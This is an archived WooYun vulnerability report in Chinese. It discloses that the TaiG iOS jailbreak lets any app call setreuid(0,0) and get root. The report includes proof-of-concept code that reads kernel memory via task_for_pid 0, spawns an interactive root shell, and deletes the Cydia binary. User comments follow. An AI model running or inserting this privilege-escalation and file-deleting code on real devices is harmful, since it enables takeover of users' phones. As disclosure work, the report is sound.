当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123966

漏洞标题:太极越狱中存在一个重要的安全风险

相关厂商:太极越狱

漏洞作者: 路人甲

提交时间:2015-07-03 19:09

修复时间:2015-10-01 16:08

公开时间:2015-10-01 16:08

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-03: 细节已通知厂商并且等待厂商处理中
2015-07-03: 厂商已经确认,细节仅向厂商公开
2015-07-06: 细节向第三方安全合作伙伴开放
2015-08-27: 细节向核心白帽子及相关领域专家公开
2015-09-06: 细节向普通白帽子公开
2015-09-16: 细节向实习白帽子公开
2015-10-01: 细节向公众公开

简要描述:

苹果iOS8.3和iOS8.4发布之后,太极团队接连发布了完美越狱工具,但测试发现太极越狱含有重大安全后门,可导致任意未验证的APP不加限制的获得root权限从而导致风险。举例来说获取Root权限后可以完全控制系统文件,甚至进一步安装木马等严重威胁用户安全的恶意软件。在太极越狱后的iOS设备上,用户一定慎用支付宝、微信、手机银行等重要APP,同时尽量不要安装来历不明的软件;

详细说明:

具体分析结果显示太极越狱修改了setreuid这个关键系统API,导致任意APP都可以直接调用setreuid(0,0)获得Root执行权限,从而可以修改任意系统文件。例如之后可以通过写入系统目录“/Library/LaunchDaemons”注册系统服务,从而植入木马、病毒、盗号工具威胁用户隐私数据和密码。

#include <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <spawn.h>
#include <mach/mach.h>

void dump_kernel_memory(vm_address_t addr)
{
kern_return_t kret;
mach_port_t proc_task = 0;
vm_size_t ret_size = 0;
vm_size_t i;
char buffer[128] = {0};
int ret;

ret = task_for_pid(mach_task_self(), 0, &proc_task);
if (ret != 0)
{
NSLog(@"[err] get tfp0 fail: %d", ret);
return;
}

NSLog(@"task for pid 0 = %u", proc_task);
kret = vm_read_overwrite(proc_task,
addr,
sizeof(buffer),
(vm_address_t)buffer,
&ret_size);

char *info = malloc(4096);
info[0] = '\0';

for (i = 0; i < ret_size; i++)
{
if (i % 16 == 0) sprintf(info + strlen(info), "\n%p: ", (void *)(addr + i));
sprintf(info + strlen(info), "0x%02x ", *(uint8_t*)(buffer + i));
}
NSLog(@"%s", info);

free(info);
}

int main (int argc, const char * argv[])
{
if (argc != 2)
 {
NSLog(@"%s [kernel_address]", argv[0]);
return 0;
}

NSLog(@"current uid=%d euid=%d", getuid(), geteuid());

/*
* taig backdoor test
*/

setreuid(0,0);
NSLog(@"now uid=%d euid=%d", getuid(), geteuid());

vm_address_t addr = strtoul(argv[1], NULL, 16);
dump_kernel_memory(addr);

return 0;
}
test_taig_backdoor2提权poc代码:
void get_root_shell
{
setreuid(0,0);
system("/bin/bash -i");
}


通过在APP中添加下面的代码进行删除文件测试(谨慎执行):
void testBackdoor()
{
NSLog(@"当前运行进程 uid=%d euid=%d", getuid(), geteuid());
setreuid(0,0);
NSLog(@"后门提权后,当前运行进程 uid=%d euid=%d", getuid(), geteuid());

NSLog(@"删除任意文件演示(该测试会导致Cydia无法运行,请谨慎执行)");
unlink("/Applications/Cydia.app/MobileCydia");
}

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-07-03 16:06

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-01 19:26 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    不敢越狱..

  2. 2015-07-01 20:08 | 随随意意 ( 普通白帽子 | Rank:160 漏洞数:35 | 我对XSS并非真爱(┬_┬)最近有人冒充该...)

    @zeracker 不知道不越狱下载软件会不会也有风险,我从没在APPstore下载。。。

  3. 2015-07-01 20:55 | light ( 普通白帽子 | Rank:261 漏洞数:48 | 精华漏洞数:36 | WooYun认证√ 艺术系教授 ...)

    漏洞标题:《太极有风险,越狱需谨慎》

  4. 2015-07-01 21:59 | Mieless ( 路人 | Rank:11 漏洞数:1 | 我是来打酱油的。)

    感觉安卓好贴心[doge]

  5. 2015-07-01 23:21 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活,亭长放解)

    坐等渣浪无良小编,坐等辟谣,坐等〇〇助手高端黑。

  6. 2015-07-02 08:30 | ../ ( 路人 | Rank:4 漏洞数:2 )

    @疯狗 http://www.wooyun.org/bugs/wooyun-2015-0123957/trace/4eb5e9db4887a4d884de3c06dc2b053e 审核。。

  7. 2015-07-02 09:14 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1064 漏洞数:108 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    这个影响太大了

  8. 2015-07-02 10:36 | 高小厨 ( 普通白帽子 | Rank:821 漏洞数:74 | 不会吹牛的小二不是好厨子!)

    @Mieless 安卓贴心?你没试过把安卓手机插到电脑上,过十分钟拔下,发现手机上多了百度手机助手,360手机助手的情况?

  9. 2015-07-02 12:48 | Mieless ( 路人 | Rank:11 漏洞数:1 | 我是来打酱油的。)

    @高小厨 真没有